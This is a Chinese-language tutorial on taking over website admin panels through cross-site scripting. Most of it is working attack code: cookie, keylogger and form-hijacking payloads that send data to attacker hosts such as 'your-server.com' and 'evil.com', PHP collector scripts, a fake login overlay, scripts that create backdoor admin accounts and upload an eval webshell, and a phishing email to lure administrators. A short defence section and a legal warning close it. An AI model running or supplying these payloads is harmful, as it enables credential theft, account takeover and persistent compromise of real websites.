1. XSS后台登录攻击概述
XSS后台登录攻击是指利用跨站脚本漏洞,通过各种技术手段获取网站后台管理员权限的攻击方式。这是渗透测试中非常重要的一环,成功获取后台权限后,攻击者可以:
- 数据窃取:访问敏感数据、用户信息、数据库内容
- 权限提升:创建新管理员账号、修改现有账号权限
- 网站篡改:修改网站内容、上传恶意文件
- 横向渗透:以后台为跳板攻击内网其他系统
- 持久化控制:植入Webshell、后门程序
攻击前提条件
- 网站存在XSS漏洞(反射型、存储型或DOM型)
- 能够诱导管理员触发XSS(存储型XSS更容易)
- 管理员在有效会话期内(未退出登录)
- 或者能够捕获管理员的登录凭证
2. 常见攻击场景
场景一:用户留言/评论系统
管理员需要审核用户提交的留言、评论、反馈等内容。攻击者在这些地方插入XSS代码,当管理员查看时触发。
场景示意图
用户提交表单 → 插入XSS代码 → 管理员后台审核 → XSS触发
场景二:个人资料页面
用户可以编辑个人资料(昵称、签名、简介等),管理员可能会查看用户资料。在这些字段中插入XSS代码。
场景三:工单/客服系统
提交工单或客服咨询时,客服人员或管理员必然会查看工单内容,这是非常理想的XSS触发场景。
场景四:文件上传功能
上传包含XSS代码的文件(如SVG、HTML、XML),管理员预览或查看文件列表时触发。
典型攻击流程
寻找XSS注入点,测试过滤规则,确定管理员可能访问的页面
编写Cookie窃取、键盘记录或会话劫持代码
通过留言、工单等方式让管理员访问含有XSS的页面
接收被窃取的Cookie、密码或会话信息
使用获取的凭证登录后台管理系统
3. 方法一:窃取管理员Cookie
这是最常见也是最直接的方法。通过XSS窃取管理员的Session Cookie,然后使用Cookie登录后台。
3.1 发现XSS注入点
1 寻找输入点
在网站上寻找所有可以输入内容的地方:
- 用户留言板、评论区
- 个人资料编辑(昵称、签名、简介)
- 搜索框、反馈表单
- 工单系统、客服对话
- URL参数
2 测试XSS漏洞
尝试插入测试代码:
<!-- 基础测试 -->
<script>alert('XSS')</script>
<!-- 绕过简单过滤 -->
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<!-- 事件处理器 -->
<input onfocus=alert('XSS') autofocus>
<marquee onstart=alert('XSS')>
<!-- 编码绕过 -->
<script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))</script>
3 确认管理员会访问
确保注入的XSS代码会被管理员看到。存储型XSS最理想,因为管理员必然会查看后台内容。
XSS注入点测试
在留言板输入测试代码 → 提交 → 查看是否触发弹窗
3.2 构造Cookie窃取Payload
基础Cookie窃取代码
// 方法1: 直接发送到远程服务器
<script>
var img = new Image();
img.src = 'http://your-server.com/cookie.php?c=' + encodeURIComponent(document.cookie);
</script>
// 方法2: 使用fetch API
<script>
fetch('http://your-server.com/cookie.php', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
url: window.location.href,
userAgent: navigator.userAgent
})
});
</script>
// 方法3: 使用XMLHttpRequest
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://your-server.com/cookie.php?c=' + document.cookie, true);
xhr.send();
</script>
绕过HttpOnly的Cookie窃取
如果Cookie设置了HttpOnly标志,无法直接通过JavaScript读取。但可以尝试以下方法:
// 方法1: 劫持XMLHttpRequest,捕获请求中的Cookie
<script>
var originalOpen = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(method, url) {
// 拦截请求
this.addEventListener('load', function() {
// 发送响应到攻击者服务器
var img = new Image();
img.src = 'http://your-server.com/log.php?data=' + encodeURIComponent(this.responseText);
});
return originalOpen.apply(this, arguments);
};
</script>
// 方法2: 获取页面中的CSRF Token或其他凭证
<script>
var token = document.querySelector('[name="csrf-token"]').content;
var img = new Image();
img.src = 'http://your-server.com/token.php?t=' + token;
</script>
// 方法3: 直接在管理员会话中执行操作
<script>
// 创建新管理员账号
fetch('/admin/user/add', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
username: 'hacker',
password: 'P@ssw0rd!',
role: 'admin'
})
});
</script>
完整的Cookie窃取Payload(带混淆)
// 混淆后的Cookie窃取代码
<script>
(function() {
// 收集信息
var data = {
cookie: document.cookie,
url: window.location.href,
referrer: document.referrer,
userAgent: navigator.userAgent,
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage),
timestamp: new Date().toISOString()
};
// 发送到攻击者服务器
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://your-server.com/steal.php', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify(data));
// 备用方法:使用Image对象
setTimeout(function() {
var img = new Image();
img.src = 'http://your-server.com/steal.php?d=' + btoa(JSON.stringify(data));
}, 1000);
})();
</script>
接收Cookie的服务器端代码(PHP)
<?php
// cookie.php - 接收并保存Cookie的PHP脚本
// 设置允许跨域
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST');
header('Access-Control-Allow-Headers: Content-Type');
// 获取数据
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$data = file_get_contents('php://input');
$json = json_decode($data, true);
$cookie = $json['cookie'] ?? '';
$url = $json['url'] ?? '';
$userAgent = $json['userAgent'] ?? '';
} else {
$cookie = $_GET['c'] ?? '';
$url = $_SERVER['HTTP_REFERER'] ?? '';
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
}
// 保存到文件
$logFile = 'cookies.txt';
$logData = sprintf(
"[%s]\nCookie: %s\nURL: %s\nUser-Agent: %s\n%s\n\n",
date('Y-m-d H:i:s'),
$cookie,
$url,
$userAgent,
str_repeat('-', 80)
);
file_put_contents($logFile, $logData, FILE_APPEND);
// 返回1x1透明图片,避免被发现
header('Content-Type: image/gif');
echo base64_decode('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7');
?>
3.3 诱导管理员触发XSS
1 存储型XSS场景
在留言板、评论区等地方提交包含XSS代码的内容:
<!-- 示例:在留言板提交 -->
标题: 网站建议
内容: 你好,我发现网站有个小问题...<script src="http://your-server.com/xss.js"></script>
2 反射型XSS场景
构造恶意链接,通过社会工程学诱导管理员点击:
<!-- 示例:构造恶意链接 -->
http://target-site.com/search?q=<script>/* XSS代码 */</script>
<!-- 发送给管理员的邮件内容 -->
主题: 紧急:网站搜索功能异常
内容:
管理员您好,
我在使用搜索功能时发现异常,请点击以下链接查看:
[恶意链接]
谢谢!
3 等待触发
监控你的服务器日志,等待Cookie数据到来:
# Linux服务器实时监控Cookie文件
tail -f /var/www/html/cookies.txt
# 或者使用Python简单HTTP服务器
python3 -m http.server 80
# 查看访问日志
tail -f /var/log/apache2/access.log
接收到的Cookie数据示意图
cookies.txt文件内容:
[2025-01-23 10:30:15]
Cookie: PHPSESSID=abc123xyz; admin_token=eyJhbGc...
URL: http://target-site.com/admin/messages
User-Agent: Mozilla/5.0...
3.4 使用Cookie登录后台
获取到Cookie后,使用浏览器的开发者工具设置Cookie并登录:
1 打开后台登录页面
访问目标网站的后台地址,如:http://target-site.com/admin
2 设置Cookie
按F12打开开发者工具,切换到Console(控制台),粘贴以下代码:
// 设置窃取到的Cookie
document.cookie = "PHPSESSID=abc123xyz; path=/";
document.cookie = "admin_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...; path=/";
// 或者批量设置
var cookies = "PHPSESSID=abc123xyz; admin_token=eyJhbGc...";
cookies.split('; ').forEach(function(c) {
var parts = c.split('=');
document.cookie = parts[0] + '=' + parts[1] + '; path=/';
});
// 刷新页面
location.reload();
3 验证登录
刷新页面后,如果Cookie有效,应该会直接进入后台管理界面。
Cookie窃取攻击总结
优点:
- 简单直接,成功率高
- 不需要知道管理员密码
- 可以收集多种信息(localStorage、sessionStorage等)
缺点:
- HttpOnly Cookie无法直接窃取
- Cookie可能有过期时间
- 某些网站绑定IP地址验证
- 需要外部服务器接收数据
4. 方法二:获取登录密码
如果Cookie窃取失败或Cookie设置了HttpOnly,可以尝试直接获取管理员的登录密码。
4.1 键盘记录器方式
在管理员访问的页面中注入键盘记录脚本,记录所有键盘输入:
// 完整的键盘记录器XSS Payload
<script>
(function() {
var keys = [];
var server = 'http://your-server.com/keylog.php';
// 监听键盘事件
document.addEventListener('keydown', function(e) {
var key = {
key: e.key,
code: e.code,
time: new Date().toISOString(),
url: window.location.href,
target: e.target.tagName + (e.target.name ? '[name="' + e.target.name + '"]' : '')
};
keys.push(key);
// 每10个按键或按下回车时发送
if (keys.length >= 10 || e.key === 'Enter') {
sendKeys();
}
});
// 定时发送(每30秒)
setInterval(sendKeys, 30000);
// 页面卸载时发送
window.addEventListener('beforeunload', sendKeys);
function sendKeys() {
if (keys.length === 0) return;
var xhr = new XMLHttpRequest();
xhr.open('POST', server, true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({
keys: keys,
url: window.location.href,
cookie: document.cookie
}));
keys = [];
}
})();
</script>
服务器端接收代码(PHP)
<?php
// keylog.php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST');
header('Access-Control-Allow-Headers: Content-Type');
$data = file_get_contents('php://input');
$json = json_decode($data, true);
$logFile = 'keylogs.txt';
$logData = sprintf(
"[%s]\nURL: %s\nKeys: %s\n%s\n\n",
date('Y-m-d H:i:s'),
$json['url'] ?? '',
json_encode($json['keys'] ?? [], JSON_PRETTY_PRINT),
str_repeat('-', 80)
);
file_put_contents($logFile, $logData, FILE_APPEND);
echo json_encode(['status' => 'ok']);
?>
4.2 表单劫持方式
劫持登录表单的提交事件,在提交前窃取用户名和密码:
// 表单劫持XSS Payload
<script>
(function() {
// 等待DOM加载完成
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', hookForms);
} else {
hookForms();
}
function hookForms() {
// 劫持所有表单
var forms = document.querySelectorAll('form');
forms.forEach(function(form) {
form.addEventListener('submit', function(e) {
// 收集表单数据
var formData = {};
var inputs = form.querySelectorAll('input, textarea, select');
inputs.forEach(function(input) {
if (input.name) {
formData[input.name] = input.value;
}
});
// 发送到攻击者服务器
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://your-server.com/formdata.php', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({
url: window.location.href,
action: form.action,
method: form.method,
data: formData,
timestamp: new Date().toISOString()
}));
// 不阻止表单正常提交,避免被发现
// 如果想阻止提交,取消注释下一行
// e.preventDefault();
});
});
// 监听动态添加的表单
var observer = new MutationObserver(function(mutations) {
mutations.forEach(function(mutation) {
mutation.addedNodes.forEach(function(node) {
if (node.tagName === 'FORM') {
hookForms();
}
});
});
});
observer.observe(document.body, {
childList: true,
subtree: true
});
}
})();
</script>
4.3 钓鱼页面方式
在页面中插入一个伪造的登录框,诱导管理员输入密码:
// 钓鱼登录框XSS Payload
<script>
(function() {
// 创建遮罩层
var overlay = document.createElement('div');
overlay.style.cssText = 'position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.8); z-index: 999999; display: flex; align-items: center; justify-content: center;';
// 创建登录框
var loginBox = document.createElement('div');
loginBox.style.cssText = 'background: white; padding: 30px; border-radius: 8px; box-shadow: 0 4px 20px rgba(0, 0, 0, 0.3); max-width: 400px; width: 90%;';
loginBox.innerHTML = '<h2 style="color: #333; margin-bottom: 20px;">会话已过期</h2><p style="color: #666; margin-bottom: 20px;">您的会话已过期,请重新登录</p><form id="phishing-form"><input type="text" id="username" placeholder="用户名" style="width: 100%; padding: 10px; margin-bottom: 10px; border: 1px solid #ddd; border-radius: 4px;"><input type="password" id="password" placeholder="密码" style="width: 100%; padding: 10px; margin-bottom: 20px; border: 1px solid #ddd; border-radius: 4px;"><button type="submit" style="width: 100%; padding: 10px; background: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer;">登录</button></form>';
overlay.appendChild(loginBox);
document.body.appendChild(overlay);
// 处理表单提交
document.getElementById('phishing-form').addEventListener('submit', function(e) {
e.preventDefault();
var username = document.getElementById('username').value;
var password = document.getElementById('password').value;
// 发送到攻击者服务器
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://your-server.com/phishing.php', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({
username: username,
password: password,
url: window.location.href,
cookie: document.cookie
}));
// 显示"登录中",然后移除遮罩
loginBox.innerHTML = '<p style="text-align: center; color: #333;">登录中...</p>';
setTimeout(function() {
overlay.remove();
}, 1500);
});
})();
</script>
钓鱼登录框效果示意图
半透明黑色遮罩 + 白色登录框居中显示
"会话已过期,请重新登录"
用户名输入框 + 密码输入框 + 登录按钮
5. 方法三:会话劫持技术
即使无法获取Cookie,也可以直接在管理员的会话中执行操作:
// 会话劫持 - 直接创建新管理员账号
<script>
(function() {
// 方法1: 使用fetch创建新管理员
fetch('/admin/user/create', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest'
},
body: JSON.stringify({
username: 'backdoor_admin',
password: 'P@ssw0rd123!',
email: 'backdoor@evil.com',
role: 'administrator'
}),
credentials: 'include' // 包含Cookie
})
.then(response => response.json())
.then(data => {
// 通知攻击者
var img = new Image();
img.src = 'http://your-server.com/notify.php?status=success&user=backdoor_admin';
})
.catch(error => {
var img = new Image();
img.src = 'http://your-server.com/notify.php?status=error&msg=' + encodeURIComponent(error);
});
// 方法2: 修改现有账号密码
setTimeout(function() {
fetch('/admin/user/1/password', {
method: 'PUT',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
password: 'NewP@ssw0rd123!',
password_confirmation: 'NewP@ssw0rd123!'
}),
credentials: 'include'
});
}, 2000);
// 方法3: 上传Webshell
setTimeout(function() {
var formData = new FormData();
var shellContent = '<?php @eval($_POST["cmd"]); ?>';
var blob = new Blob([shellContent], {type: 'application/x-php'});
formData.append('file', blob, 'config.php');
fetch('/admin/file/upload', {
method: 'POST',
body: formData,
credentials: 'include'
});
}, 4000);
})();
</script>
会话劫持技巧
- 不需要窃取Cookie,直接在受害者浏览器中执行操作
- 可以绕过IP地址验证、设备指纹等限制
- 适合HttpOnly Cookie的场景
- 操作隐蔽,不易被发现
- 可以执行任何管理员权限的操作
6. 方法四:植入后门脚本
如果XSS是存储型的,可以植入持久化后门,每次管理员访问都触发:
// 持久化后门脚本
<script src="http://your-server.com/backdoor.js"></script>
// backdoor.js 内容
(function() {
// 检查是否在管理后台
if (!window.location.pathname.startsWith('/admin')) {
return;
}
// 收集后台信息
var adminInfo = {
url: window.location.href,
cookie: document.cookie,
localStorage: JSON.stringify(localStorage),
username: document.querySelector('.admin-username')?.textContent,
role: document.querySelector('.admin-role')?.textContent,
timestamp: new Date().toISOString()
};
// 发送信息
fetch('http://your-server.com/admin-tracker.php', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(adminInfo)
});
// 每次页面切换都发送
var originalPushState = history.pushState;
history.pushState = function() {
originalPushState.apply(history, arguments);
setTimeout(function() {
fetch('http://your-server.com/admin-tracker.php', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
url: window.location.href,
action: 'navigation'
})
});
}, 500);
};
// 监听管理员的所有操作
document.addEventListener('click', function(e) {
if (e.target.tagName === 'A' || e.target.closest('a')) {
var link = e.target.closest('a');
fetch('http://your-server.com/admin-tracker.php', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
action: 'click',
href: link.href,
text: link.textContent
})
});
}
});
})();
7. 使用XSS平台进行攻击
使用专业的XSS平台(如蓝莲花XSS平台)可以大大简化攻击流程:
7.1 注册XSS平台账号
访问 https://xss.li 注册账号并登录。
7.2 创建项目
1 在平台中创建新项目,填写项目名称(如"目标网站后台渗透")
2 选择模板:Cookie获取、键盘记录、截屏等
3 获取XSS代码
// 平台生成的XSS代码示例
<script src="http://xss.li/xss.js?project=abc123"></script>
// 或者使用短链接
<script src="http://xss.li/a1b2c3"></script>
7.3 植入XSS代码
将平台生成的代码插入到目标网站的XSS注入点。
7.4 查看日志
在XSS平台的控制面板中实时查看:
- 触发时间
- IP地址和地理位置
- 浏览器信息
- 窃取的Cookie
- 键盘记录
- 页面截图
XSS平台控制面板示意图
左侧:项目列表
中间:触发记录列表(时间、IP、浏览器)
右侧:详细信息(Cookie、键盘记录、截图)
使用XSS平台的优势
- ✅ 无需自己搭建服务器
- ✅ 提供可视化管理界面
- ✅ 自动分类和存储数据
- ✅ 支持多种攻击模板
- ✅ 实时通知功能
- ✅ 支持团队协作
- ✅ 数据加密存储
8. 防御措施
作为安全测试人员,也需要了解如何防御这些攻击:
8.1 输入验证与输出编码
// PHP示例:输出时进行HTML编码
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// JavaScript示例:使用textContent而非innerHTML
element.textContent = userInput; // 安全
// element.innerHTML = userInput; // 危险
8.2 设置HttpOnly和Secure标志
// PHP设置Cookie时添加HttpOnly和Secure
setcookie(
'session_id',
$session_id,
[
'expires' => time() + 3600,
'path' => '/',
'domain' => '.example.com',
'secure' => true, // 仅HTTPS传输
'httponly' => true, // 禁止JavaScript访问
'samesite' => 'Strict' // 防止CSRF
]
);
8.3 配置内容安全策略(CSP)
<!-- 在HTML中设置CSP -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'nonce-random123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;">
<!-- 或在HTTP响应头中设置 -->
Content-Security-Policy: default-src 'self'; script-src 'self'
8.4 使用WAF(Web应用防火墙)
- ModSecurity
- Cloudflare WAF
- 阿里云WAF
- 腾讯云WAF
8.5 管理员安全意识培训
管理员应该做到
- 不在后台长时间保持登录状态
- 定期清除浏览器Cookie
- 使用专用浏览器或隐私模式访问后台
- 不点击可疑链接
- 发现异常立即退出登录
- 启用双因素认证(2FA)
- 定期检查登录日志
9. 实战案例分析
案例一:某论坛管理后台Cookie窃取
攻击过程
在论坛的用户签名功能中发现存储型XSS漏洞,允许HTML标签
修改个人签名为:<script src="http://evil.com/xss.js"></script>
在论坛发布热门话题帖,吸引管理员查看(管理员会看到签名)
管理员查看帖子时,XSS触发,Cookie被发送到攻击者服务器
使用窃取的Cookie成功登录论坛管理后台
关键点:
- 签名在所有帖子中都会显示,增加触发概率
- 管理员经常查看论坛内容,触发XSS的可能性很高
- 该论坛Cookie未设置HttpOnly,可以直接读取
案例二:客服系统表单劫持
攻击过程
在客服系统提交工单,内容包含表单劫持XSS代码
客服人员在后台查看工单时,XSS代码注入到页面
表单劫持脚本记录客服/管理员在系统内的所有操作,包括密码修改等
攻击者服务器接收到管理员账号和密码
使用获取的账号密码直接登录管理后台
案例三:会话劫持创建后门账号
攻击场景:某电商网站的商品评论功能
攻击步骤:
- 购买商品后,在评论中插入会话劫持XSS代码
- 管理员审核评论时,XSS代码自动执行
- 脚本在管理员会话中创建新的管理员账号
- 攻击者使用新创建的账号登录后台
- 即使原管理员退出登录,新账号仍然有效
// 评论中插入的XSS代码
商品很好!推荐购买!
<img src=x onerror="
fetch('/admin/api/user/create',{
method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({
username:'system_backup',
password:'B@ckup2025!',
email:'backup@system.local',
role:'superadmin'
}),
credentials:'include'
}).then(()=>{
new Image().src='http://evil.com/success.php?user=system_backup'
})
">
防御改进:
- 评论内容严格过滤HTML标签
- 创建管理员需要额外验证(邮件确认、2FA)
- 记录所有管理员创建操作的日志
- 实施CSP策略阻止外部资源加载
学习总结
通过本教程,你已经掌握了:
- ✅ XSS后台登录攻击的4种主要方法
- ✅ Cookie窃取的完整流程和代码实现
- ✅ 密码获取的3种技术(键盘记录、表单劫持、钓鱼)
- ✅ 会话劫持和后门植入技术
- ✅ 使用XSS平台简化攻击流程
- ✅ 完整的防御措施和最佳实践
- ✅ 真实案例的攻击思路分析
重要提醒:请务必在合法授权的环境中练习这些技术!
法律责任
根据《中华人民共和国网络安全法》、《刑法》等相关法律规定:
- 未经授权访问计算机信息系统,最高可判处三年以上有期徒刑
- 窃取、破坏数据造成严重后果的,最高可判处七年以上有期徒刑
- 提供黑客工具、技术支持的,同样承担法律责任
请遵守法律,合理使用安全技术!